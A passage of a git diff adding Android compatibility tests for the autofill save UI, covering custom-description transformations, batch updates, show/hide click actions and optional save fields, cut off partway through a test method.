+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans1)
+                    .addChild(R.id.img, trans2)
+                    .batchUpdate(condition,
+                            new BatchUpdates.Builder().updateTemplate(update).build())
+                    .build();
+        }, () -> assertSaveUiIsShownWithJustOneLine("usernm..wd"));
+    }
+
+    @Test
+    public void validTransformationWithMultipleTemplateUpdates() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans1 = new CharSequenceTransformation.Builder(usernameId,
+                    Pattern.compile("(.*)"), "$1")
+                            .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+                            .build();
+            @SuppressWarnings("deprecation")
+            ImageTransformation trans2 = new ImageTransformation.Builder(usernameId,
+                    Pattern.compile(".*"), R.drawable.android)
+                    .build();
+
+            Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
+            Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
+
+            // Line 1 updates
+            RemoteViews update1 = newTemplate(666); // layout id not really used
+            update1.setContentDescription(R.id.first, "First am I"); // valid
+            RemoteViews update2 = newTemplate(0); // layout id not really used
+            update2.setViewVisibility(R.id.first, View.GONE); // invalid
+
+            // Line 2 updates
+            RemoteViews update3 = newTemplate(-666); // layout id not really used
+            update3.setTextViewText(R.id.second, "First of his second name"); // valid
+            RemoteViews update4 = newTemplate(0); // layout id not really used
+            update4.setTextViewText(R.id.second, "SECOND of his second name"); // invalid
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans1)
+                    .addChild(R.id.img, trans2)
+                    .batchUpdate(validCondition,
+                            new BatchUpdates.Builder().updateTemplate(update1).build())
+                    .batchUpdate(invalidCondition,
+                            new BatchUpdates.Builder().updateTemplate(update2).build())
+                    .batchUpdate(validCondition,
+                            new BatchUpdates.Builder().updateTemplate(update3).build())
+                    .batchUpdate(invalidCondition,
+                            new BatchUpdates.Builder().updateTemplate(update4).build())
+                    .build();
+        }, () -> assertSaveUiWithLinesIsShown(
+                (line1) -> assertWithMessage("Wrong content description for line1")
+                        .that(line1.getContentDescription()).isEqualTo("First am I"),
+                (line2) -> assertWithMessage("Wrong text for line2").that(line2.getText())
+                        .isEqualTo("First of his second name"),
+                null));
+    }
+
+    @Test
+    public void testMultipleBatchUpdates_noConditionPass() throws Exception {
+        multipleBatchUpdatesTest(BatchUpdatesConditionType.NONE_PASS);
+    }
+
+    @Test
+    public void testMultipleBatchUpdates_secondConditionPass() throws Exception {
+        multipleBatchUpdatesTest(BatchUpdatesConditionType.SECOND_PASS);
+    }
+
+    @Test
+    public void testMultipleBatchUpdates_thirdConditionPass() throws Exception {
+        multipleBatchUpdatesTest(BatchUpdatesConditionType.THIRD_PASS);
+    }
+
+    @Test
+    public void testMultipleBatchUpdates_allConditionsPass() throws Exception {
+        multipleBatchUpdatesTest(BatchUpdatesConditionType.ALL_PASS);
+    }
+
+    private enum BatchUpdatesConditionType {
+        NONE_PASS,
+        SECOND_PASS,
+        THIRD_PASS,
+        ALL_PASS
+    }
+
+    /**
+     * Tests a custom description that has 3 transformations, one applied directly and the other
+     * 2 in batch updates.
+     *
+     * @param conditionsType defines which batch updates conditions will pass.
+     */
+    private void multipleBatchUpdatesTest(BatchUpdatesConditionType conditionsType)
+            throws Exception {
+
+        final boolean line2Pass = conditionsType == BatchUpdatesConditionType.SECOND_PASS
+                || conditionsType == BatchUpdatesConditionType.ALL_PASS;
+        final boolean line3Pass = conditionsType == BatchUpdatesConditionType.THIRD_PASS
+                || conditionsType == BatchUpdatesConditionType.ALL_PASS;
+
+        final Visitor<UiObject2> line1Visitor = (line1) -> assertWithMessage("Wrong text for line1")
+                .that(line1.getText()).isEqualTo("L1-u");
+
+        final Visitor<UiObject2> line2Visitor;
+        if (line2Pass) {
+            line2Visitor = (line2) -> assertWithMessage("Wrong text for line2")
+                    .that(line2.getText()).isEqualTo("L2-u");
+        } else {
+            line2Visitor = null;
+        }
+
+        final Visitor<UiObject2> line3Visitor;
+        if (line3Pass) {
+            line3Visitor = (line3) -> assertWithMessage("Wrong text for line3")
+                    .that(line3.getText()).isEqualTo("L3-p");
+        } else {
+            line3Visitor = null;
+        }
+
+        testCustomDescription((usernameId, passwordId) -> {
+            Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
+            Validator invalidCondition = new RegexValidator(usernameId, Pattern.compile("D'OH"));
+            Pattern firstCharGroupRegex = Pattern.compile("^(.).*$");
+
+            final RemoteViews presentation =
+                    newTemplate(R.layout.three_horizontal_text_fields_last_two_invisible);
+
+            final CharSequenceTransformation line1Transformation =
+                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L1-$1")
+                        .build();
+
+            final CharSequenceTransformation line2Transformation =
+                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L2-$1")
+                        .build();
+            final RemoteViews line2Updates = newTemplate(666); // layout id not really used
+            line2Updates.setViewVisibility(R.id.second, View.VISIBLE);
+
+            final CharSequenceTransformation line3Transformation =
+                    new CharSequenceTransformation.Builder(passwordId, firstCharGroupRegex, "L3-$1")
+                        .build();
+            final RemoteViews line3Updates = newTemplate(666); // layout id not really used
+            line3Updates.setViewVisibility(R.id.third, View.VISIBLE);
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, line1Transformation)
+                    .batchUpdate(line2Pass ? validCondition : invalidCondition,
+                            new BatchUpdates.Builder()
+                            .transformChild(R.id.second, line2Transformation)
+                            .updateTemplate(line2Updates)
+                            .build())
+                    .batchUpdate(line3Pass ? validCondition : invalidCondition,
+                            new BatchUpdates.Builder()
+                            .transformChild(R.id.third, line3Transformation)
+                            .updateTemplate(line3Updates)
+                            .build())
+                    .build();
+        }, () -> assertSaveUiWithLinesIsShown(line1Visitor, line2Visitor, line3Visitor));
+    }
+
+    @Test
+    public void testBatchUpdatesApplyUpdateFirstThenTransformations() throws Exception {
+
+        final Visitor<UiObject2> line1Visitor = (line1) -> assertWithMessage("Wrong text for line1")
+                .that(line1.getText()).isEqualTo("L1-u");
+        final Visitor<UiObject2> line2Visitor = (line2) -> assertWithMessage("Wrong text for line2")
+                .that(line2.getText()).isEqualTo("L2-u");
+        final Visitor<UiObject2> line3Visitor = (line3) -> assertWithMessage("Wrong text for line3")
+                .that(line3.getText()).isEqualTo("L3-p");
+
+        testCustomDescription((usernameId, passwordId) -> {
+            Validator validCondition = new RegexValidator(usernameId, Pattern.compile(".*"));
+            Pattern firstCharGroupRegex = Pattern.compile("^(.).*$");
+
+            final RemoteViews presentation =
+                    newTemplate(R.layout.two_horizontal_text_fields);
+
+            final CharSequenceTransformation line1Transformation =
+                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L1-$1")
+                        .build();
+
+            final CharSequenceTransformation line2Transformation =
+                    new CharSequenceTransformation.Builder(usernameId, firstCharGroupRegex, "L2-$1")
+                        .build();
+
+            final CharSequenceTransformation line3Transformation =
+                    new CharSequenceTransformation.Builder(passwordId, firstCharGroupRegex, "L3-$1")
+                        .build();
+            final RemoteViews line3Presentation = newTemplate(R.layout.third_line_only);
+            final RemoteViews line3Updates = newTemplate(666); // layout id not really used
+            line3Updates.addView(R.id.parent, line3Presentation);
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, line1Transformation)
+                    .batchUpdate(validCondition,
+                            new BatchUpdates.Builder()
+                            .transformChild(R.id.second, line2Transformation)
+                            .build())
+                    .batchUpdate(validCondition,
+                            new BatchUpdates.Builder()
+                            .updateTemplate(line3Updates)
+                            .transformChild(R.id.third, line3Transformation)
+                            .build())
+                    .build();
+        }, () -> assertSaveUiWithLinesIsShown(line1Visitor, line2Visitor, line3Visitor));
+    }
+
+    @Test
+    public void badImageTransformation() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            @SuppressWarnings("deprecation")
+            ImageTransformation trans = new ImageTransformation.Builder(usernameId,
+                    Pattern.compile(".*"), 1).build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.img, trans)
+                    .build();
+        }, () -> assertSaveUiWithCustomDescriptionIsShown());
+    }
+
+    @Test
+    public void unusedImageTransformation() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            @SuppressWarnings("deprecation")
+            ImageTransformation trans = new ImageTransformation
+                    .Builder(usernameId, Pattern.compile("invalid"), R.drawable.android)
+                    .build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.img, trans)
+                    .build();
+        }, () -> assertSaveUiWithCustomDescriptionIsShown());
+    }
+
+    @Test
+    public void applyImageTransformationToTextView() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            @SuppressWarnings("deprecation")
+            ImageTransformation trans = new ImageTransformation
+                    .Builder(usernameId, Pattern.compile(".*"), R.drawable.android)
+                    .build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans)
+                    .build();
+        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+    }
+
+    @Test
+    public void failFirstFailAll() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans = new CharSequenceTransformation
+                    .Builder(usernameId, Pattern.compile("(.*)"), "$42")
+                    .addField(passwordId, Pattern.compile(".*(..)"), "..$1")
+                    .build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans)
+                    .build();
+        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+    }
+
+    @Test
+    public void failSecondFailAll() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans = new CharSequenceTransformation
+                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+                    .addField(passwordId, Pattern.compile(".*(..)"), "..$42")
+                    .build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.first, trans)
+                    .build();
+        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+    }
+
+    @Test
+    public void applyCharSequenceTransformationToImageView() throws Exception {
+        testCustomDescription((usernameId, passwordId) -> {
+            RemoteViews presentation = newTemplate(R.layout.two_horizontal_text_fields);
+
+            CharSequenceTransformation trans = new CharSequenceTransformation
+                    .Builder(usernameId, Pattern.compile("(.*)"), "$1")
+                    .build();
+
+            return new CustomDescription.Builder(presentation)
+                    .addChild(R.id.img, trans)
+                    .build();
+        }, () -> assertSaveUiWithoutCustomDescriptionIsShown());
+    }
+
+    private void multipleTransformationsForSameFieldTest(boolean matchFirst) throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    // Set response with custom description
+                    final AutofillId usernameId =
+                            findAutofillIdByResourceId(contexts.get(0), ID_USERNAME);
+                    final CharSequenceTransformation firstTrans = new CharSequenceTransformation
+                            .Builder(usernameId, Pattern.compile("(marco)"), "polo")
+                            .build();
+                    final CharSequenceTransformation secondTrans = new CharSequenceTransformation
+                            .Builder(usernameId, Pattern.compile("(MARCO)"), "POLO")
+                            .build();
+                    final RemoteViews presentation =
+                            newTemplate(R.layout.two_horizontal_text_fields);
+                    final CustomDescription customDescription =
+                            new CustomDescription.Builder(presentation)
+                            .addChild(R.id.first, firstTrans)
+                            .addChild(R.id.first, secondTrans)
+                            .build();
+                    builder.setCustomDescription(customDescription);
+                })
+                .build());
+
+        // Trigger autofill with custom description
+        mActivity.onPassword(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        final String username = matchFirst ? "marco" : "MARCO";
+        mActivity.onUsername((v) -> v.setText(username));
+        mActivity.onPassword((v) -> v.setText(LoginActivity.BACKDOOR_PASSWORD_SUBSTRING));
+        mActivity.tapLogin();
+
+        final String expectedText = matchFirst ? "polo" : "POLO";
+        assertSaveUiIsShownWithTwoLines(expectedText);
+    }
+
+    @Test
+    public void applyMultipleTransformationsForSameField_matchFirst() throws Exception {
+        multipleTransformationsForSameFieldTest(true);
+    }
+
+    @Test
+    public void applyMultipleTransformationsForSameField_matchSecond() throws Exception {
+        multipleTransformationsForSameFieldTest(false);
+    }
+
+    private RemoteViews newTemplate(int resourceId) {
+        return new RemoteViews(getContext().getPackageName(), resourceId);
+    }
+
+    private UiObject2 assertSaveUiShowing() {
+        try {
+            return mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private void assertSaveUiWithoutCustomDescriptionIsShown() {
+        // First make sure the UI is shown...
+        final UiObject2 saveUi = assertSaveUiShowing();
+
+        // Then make sure it does not have the custom view on it.
+        assertWithMessage("found static_text on SaveUI (%s)", mUiBot.getChildrenAsText(saveUi))
+            .that(saveUi.findObject(By.res(mPackageName, "static_text"))).isNull();
+    }
+
+    private UiObject2 assertSaveUiWithCustomDescriptionIsShown() {
+        // First make sure the UI is shown...
+        final UiObject2 saveUi = assertSaveUiShowing();
+
+        // Then make sure it does have the custom view on it...
+        final UiObject2 staticText = saveUi.findObject(By.res(mPackageName, "static_text"));
+        assertThat(staticText).isNotNull();
+        assertThat(staticText.getText()).isEqualTo("YO:");
+
+        return saveUi;
+    }
+
+    /**
+     * Asserts the save ui only has {@code first} and {@code second} lines (i.e, {@code third} is
+     * invisible), but only {@code first} has text.
+     */
+    private UiObject2 assertSaveUiIsShownWithTwoLines(String expectedTextOnFirst) {
+        return assertSaveUiWithLinesIsShown(
+                (line1) -> assertWithMessage("Wrong text for child with id 'first'")
+                        .that(line1.getText()).isEqualTo(expectedTextOnFirst),
+                (line2) -> assertWithMessage("Wrong text for child with id 'second'")
+                        .that(line2.getText()).isNull(),
+                null);
+    }
+
+    /**
+     * Asserts the save ui only has {@code first} line (i.e., {@code second} and {@code third} are
+     * invisible).
+     */
+    private void assertSaveUiIsShownWithJustOneLine(String expectedTextOnFirst) {
+        assertSaveUiWithLinesIsShown(
+                (line1) -> assertWithMessage("Wrong text for child with id 'first'")
+                        .that(line1.getText()).isEqualTo(expectedTextOnFirst),
+                null, null);
+    }
+
+    private UiObject2 assertSaveUiWithLinesIsShown(@Nullable Visitor<UiObject2> line1Visitor,
+            @Nullable Visitor<UiObject2> line2Visitor, @Nullable Visitor<UiObject2> line3Visitor) {
+        final UiObject2 saveUi = assertSaveUiWithCustomDescriptionIsShown();
+        mUiBot.assertChild(saveUi, "first", line1Visitor);
+        mUiBot.assertChild(saveUi, "second", line2Visitor);
+        mUiBot.assertChild(saveUi, "third", line3Visitor);
+        return saveUi;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/saveui/OnClickActionTest.java b/tests/autofillservice/src/android/autofillservice/cts/saveui/OnClickActionTest.java
new file mode 100644
index 0000000..8282fec
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/saveui/OnClickActionTest.java
@@ -0,0 +1,196 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.saveui;
+
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_INPUT;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.ID_HIDE;
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.ID_PASSWORD_MASKED;
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.ID_PASSWORD_PLAIN;
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.ID_SHOW;
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.ID_USERNAME_MASKED;
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.ID_USERNAME_PLAIN;
+import static android.autofillservice.cts.testcore.CustomDescriptionHelper.newCustomDescriptionWithHiddenFields;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.SimpleSaveActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.FillContext;
+import android.service.autofill.OnClickAction;
+import android.service.autofill.VisibilitySetterAction;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+
+import java.util.regex.Pattern;
+
+/**
+ * Integration tests for the {@link OnClickAction} implementations.
+ */
+@AppModeFull(reason = "Service-specific test")
+public class OnClickActionTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<SimpleSaveActivity> {
+
+    private static final Pattern MATCH_ALL = Pattern.compile("^(.*)$");
+
+    private SimpleSaveActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<SimpleSaveActivity> getActivityRule() {
+        return new AutofillActivityTestRule<SimpleSaveActivity>(SimpleSaveActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    public void testHideAndShow() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final FillContext context = contexts.get(0);
+                    final AutofillId usernameId = findAutofillIdByResourceId(context, ID_INPUT);
+                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
+
+                    final CharSequenceTransformation usernameTrans = new CharSequenceTransformation
+                            .Builder(usernameId, MATCH_ALL, "$1").build();
+                    final CharSequenceTransformation passwordTrans = new CharSequenceTransformation
+                            .Builder(passwordId, MATCH_ALL, "$1").build();
+                    builder.setCustomDescription(newCustomDescriptionWithHiddenFields()
+                            .addChild(R.id.username_plain, usernameTrans)
+                            .addChild(R.id.password_plain, passwordTrans)
+                            .addOnClickAction(R.id.show, new VisibilitySetterAction
+                                    .Builder(R.id.hide, View.VISIBLE)
+                                    .setVisibility(R.id.show, View.GONE)
+                                    .setVisibility(R.id.username_plain, View.VISIBLE)
+                                    .setVisibility(R.id.password_plain, View.VISIBLE)
+                                    .setVisibility(R.id.username_masked, View.GONE)
+                                    .setVisibility(R.id.password_masked, View.GONE)
+                                    .build())
+                            .addOnClickAction(R.id.hide, new VisibilitySetterAction
+                                    .Builder(R.id.show, View.VISIBLE)
+                                    .setVisibility(R.id.hide, View.GONE)
+                                    .setVisibility(R.id.username_masked, View.VISIBLE)
+                                    .setVisibility(R.id.password_masked, View.VISIBLE)
+                                    .setVisibility(R.id.username_plain, View.GONE)
+                                    .setVisibility(R.id.password_plain, View.GONE)
+                                    .build())
+                            .build());
+                })
+                .build());
+
+        // Trigger autofill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.syncRunOnUiThread(() -> {
+            mActivity.mInput.setText("42");
+            mActivity.mPassword.setText("108");
+            mActivity.mCommit.performClick();
+        });
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Assert initial UI is hidden the password.
+        final UiObject2 showButton = assertHidden(saveUi);
+
+        // Then tap SHOW and assert it's showing how
+        showButton.click();
+        final UiObject2 hideButton = assertShown(saveUi);
+
+        // Hide again
+        hideButton.click();
+        assertHidden(saveUi);
+
+        // Rinse-and repeat a couple times
+        showButton.click(); assertShown(saveUi);
+        hideButton.click(); assertHidden(saveUi);
+        showButton.click(); assertShown(saveUi);
+        hideButton.click(); assertHidden(saveUi);
+
+        // Then save it...
+        mUiBot.saveForAutofill(saveUi, true);
+
+        // ... and assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "108");
+    }
+
+    /**
+     * Asserts that the Save UI is in the hiding the password field, returning the {@code SHOW}
+     * button.
+     */
+    private UiObject2 assertHidden(UiObject2 saveUi) throws Exception {
+        // Username
+        mUiBot.assertChildText(saveUi, ID_USERNAME_LABEL, "User:");
+        mUiBot.assertChildText(saveUi, ID_USERNAME_MASKED, "****");
+        assertInvisible(saveUi, ID_USERNAME_PLAIN);
+
+        // Password
+        mUiBot.assertChildText(saveUi, ID_PASSWORD_LABEL, "Pass:");
+        mUiBot.assertChildText(saveUi, ID_PASSWORD_MASKED, "....");
+        assertInvisible(saveUi, ID_PASSWORD_PLAIN);
+
+        // Buttons
+        assertInvisible(saveUi, ID_HIDE);
+        return mUiBot.assertChildText(saveUi, ID_SHOW, "SHOW");
+    }
+
+    /**
+     * Asserts that the Save UI is in the showing the password field, returning the {@code HIDE}
+     * button.
+     */
+    private UiObject2 assertShown(UiObject2 saveUi) throws Exception {
+        // Username
+        mUiBot.assertChildText(saveUi, ID_USERNAME_LABEL, "User:");
+        mUiBot.assertChildText(saveUi, ID_USERNAME_PLAIN, "42");
+        assertInvisible(saveUi, ID_USERNAME_MASKED);
+
+        // Password
+        mUiBot.assertChildText(saveUi, ID_PASSWORD_LABEL, "Pass:");
+        mUiBot.assertChildText(saveUi, ID_PASSWORD_PLAIN, "108");
+        assertInvisible(saveUi, ID_PASSWORD_MASKED);
+
+        // Buttons
+        assertInvisible(saveUi, ID_SHOW);
+        return mUiBot.assertChildText(saveUi, ID_HIDE, "HIDE");
+    }
+
+    private void assertInvisible(UiObject2 saveUi, String resourceId) {
+        mUiBot.assertGoneByRelativeId(saveUi, resourceId, Timeouts.UI_TIMEOUT);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/saveui/OptionalSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/saveui/OptionalSaveActivityTest.java
new file mode 100644
index 0000000..1e38ae4
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/saveui/OptionalSaveActivityTest.java
@@ -0,0 +1,775 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.saveui;
+
+import static android.autofillservice.cts.activities.OptionalSaveActivity.ID_ADDRESS1;
+import static android.autofillservice.cts.activities.OptionalSaveActivity.ID_ADDRESS2;
+import static android.autofillservice.cts.activities.OptionalSaveActivity.ID_CITY;
+import static android.autofillservice.cts.activities.OptionalSaveActivity.ID_FAVORITE_COLOR;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure;
+import android.autofillservice.cts.activities.OptionalSaveActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.testcore.Visitor;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import org.junit.Test;
+
+/**
+ * Test case for an activity that contains 4 fields, but the service is only interested in 2-3 of
+ * them for Save:
+ *
+ * <ul>
+ *   <li>Address 1: required
+ *   <li>Address 2: required
+ *   <li>City: optional
+ *   <li>Favorite Color: don't care - LOL
+ * </ul>
+ */
+@AppModeFull(reason = "Service-specific test")
+public class OptionalSaveActivityTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<OptionalSaveActivity> {
+
+    private static final boolean EXPECT_NO_SAVE_UI = false;
+    private static final boolean EXPECT_SAVE_UI = true;
+
+    private OptionalSaveActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<OptionalSaveActivity> getActivityRule() {
+        return new AutofillActivityTestRule<OptionalSaveActivity>(OptionalSaveActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    /**
+     * Creates a standard builder common to all tests.
+     */
+    private CannedFillResponse.Builder newResponseBuilder() {
+        return new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_CITY)
+                .setOptionalSavableIds(ID_ADDRESS2);
+    }
+
+    @Test
+    public void testNoAutofillSaveAll() throws Exception {
+        noAutofillSaveOnChangeTest(() -> {
+            mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
+            mActivity.mAddress2.setText("Simpsons House"); // not required
+            mActivity.mCity.setText("Springfield"); // required
+            mActivity.mFavoriteColor.setText("Yellow"); // lol
+        }, (s) -> {
+            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1), "742 Evergreen Terrace");
+            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "Simpsons House");
+            assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
+            assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "Yellow");
+        });
+    }
+
+    @Test
+    public void testNoAutofillSaveRequiredOnly() throws Exception {
+        noAutofillSaveOnChangeTest(() -> {
+            mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
+            mActivity.mCity.setText("Springfield"); // required
+        }, (s) -> {
+            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS1), "742 Evergreen Terrace");
+            assertTextAndValue(findNodeByResourceId(s, ID_ADDRESS2), "");
+            assertTextAndValue(findNodeByResourceId(s, ID_CITY), "Springfield");
+            assertTextAndValue(findNodeByResourceId(s, ID_FAVORITE_COLOR), "");
+        });
+    }
+
+    /**
+     * Tests the scenario where the service didn't have any data to autofill, and the user filled
+     * all fields, even the favorite color (LOL).
+     */
+    private void noAutofillSaveOnChangeTest(Runnable changes, Visitor<AssistStructure> assertions)
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(newResponseBuilder().build());
+
+        // Trigger auto-fill.
+        mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+
+        // Validation check.
+        mUiBot.assertNoDatasetsEver();
+
+        // Wait for onFill() before proceeding, otherwise the fields might be changed before
+        // the session started.
+        sReplier.getNextFillRequest();
+
+        // Manually fill fields...
+        mActivity.syncRunOnUiThread(changes);
+
+        // ...then tap save.
+        mActivity.save();
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+
+        // Assert value of fields
+        assertions.visit(saveRequest.structure);
+    }
+
+    @Test
+    public void testNoAutofillFirstRequiredFieldMissing() throws Exception {
+        noAutofillNoChangeNoSaveTest(() -> {
+            // address1 is missing
+            mActivity.mAddress2.setText("Simpsons House"); // not required
+            mActivity.mCity.setText("Springfield"); // required
+            mActivity.mFavoriteColor.setText("Yellow"); // lol
+        });
+    }
+
+    @Test
+    public void testNoAutofillSecondRequiredFieldMissing() throws Exception {
+        noAutofillNoChangeNoSaveTest(() -> {
+            mActivity.mAddress1.setText("742 Evergreen Terrace"); // required
+            mActivity.mAddress2.setText("Simpsons House"); // not required
+            // city is missing
+            mActivity.mFavoriteColor.setText("Yellow"); // lol
+        });
+    }
+
+    /**
+     * Tests the scenario where the service didn't have any data to autofill, and the user filled
+     * didn't fill all required changes.
+     */
+    private void noAutofillNoChangeNoSaveTest(Runnable changes) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(newResponseBuilder().build());
+
+        // Trigger auto-fill.
